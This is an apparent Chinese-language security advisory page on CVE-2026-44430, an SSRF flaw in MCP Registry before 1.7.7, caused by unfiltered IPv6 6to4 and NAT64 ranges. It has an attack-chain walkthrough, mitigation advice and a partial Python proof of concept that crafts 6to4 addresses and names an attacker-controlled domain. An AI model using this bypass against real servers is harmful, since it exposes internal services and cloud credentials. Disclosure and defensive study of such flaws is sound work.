IPBUF安全漏洞报告
English
CVE-2026-44430 CVSS 4.0 中危

CVE-2026-44430 MCP Registry SSRF漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-44430
漏洞类型
SSRF (服务器端请求伪造)
CVSS评分
4.0 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MCP Registry

相关标签

SSRFMCP RegistryIPv6BypassCVE-2026-44430

漏洞概述

MCP Registry在1.7.7之前的版本中存在服务器端请求伪造(SSRF)漏洞。其HTTP命名空间验证机制未能正确过滤特定的IPv6地址段(如6to4、NAT64)。攻击者可利用这些未被封禁的IPv6地址绕过安全检查,诱导服务器向内部网络或云元数据服务发起请求,从而可能获取敏感信息。

技术细节

该漏洞源于MCP Registry在实现`safeDialContext`函数时,IP地址过滤机制不完善。代码依赖Go标准库的`IsLoopback`、`IsPrivate`等函数以及手动配置的CGNAT范围来阻止私有IP访问。然而,该阻止列表未包含IPv6 6to4(2002::/16)、NAT64(64:ff9b::/96)及废弃的站点本地(fec0::/10)地址。这些特殊IPv6地址能够编码IPv4地址,并在双栈或NAT64环境下通过隧道访问RFC1918私有地址或云元数据服务(如169.254.169.254)。攻击者只需控制DNS解析,将目标域名解析为上述范围内的恶意IPv6地址,即可绕过校验,实现对内部服务的未授权访问。

攻击链分析

STEP 1
步骤1
攻击者准备一个恶意域名,并配置DNS服务器使其解析到特定的IPv6地址(如6to4格式的127.0.0.1)。
STEP 2
步骤2
攻击者向MCP Registry的 /v0/auth/http 接口发送POST请求,提交该恶意域名进行验证。
STEP 3
步骤3
MCP Registry接收请求,尝试获取该域名的公钥文件。DNS解析返回攻击者设定的IPv6地址。
STEP 4
步骤4
safeDialContext 检查IP地址,由于该IPv6地址不在阻止列表(未覆盖6to4等范围),检查通过。
STEP 5
步骤5
服务器向该IPv6地址发起HTTP请求,流量通过隧道转发至内部IPv4地址(如本地回环或元数据服务),导致SSRF。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests import struct import socket # Convert IPv4 to IPv6 6to4 address def ipv4_to_6to4(ipv4): packed = socket.inet_aton(ipv4) return f"2002:{packed[0]:02x}{packed[1]:02x}:{packed[2]:02x}{packed[3]:02x}::1" # Target internal IP (e.g., localhost or cloud metadata) target_ipv4 = "127.0.0.1" malicious_ipv6 = ipv4_to_6to4(target_ipv4) # The vulnerable endpoint url = "http://target-registry-url/v0/auth/http" # Payload pointing to a domain controlled by attacker, # resolving to the malicious IPv6 payload = { "domain": "attacker-controlled.com", # In a real scenario, the attacker's DNS server would return 'malicious_ipv6' for this domain. } print(f"[+] Generated Malicious IPv6: {malicious_ipv6}") print(f"[+] Attempting to send request to {url}...") # Note: This demonstrates the concept. # The actual exploit requires DNS manipulation to make 'attacker-controlled.com' # resolve to the generated IPv6 address. # response = requests.post(url, json=payload) # print(response.text)

影响范围

MCP Registry < 1.7.7

防御指南

临时缓解措施
建议立即升级MCP Registry至1.7.7版本以修复此漏洞。若无法立即升级,应在系统网络层面配置防火墙规则,禁止服务器向RFC1918私有地址及本地回环地址发起连接,并限制对IPv6特殊前缀的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表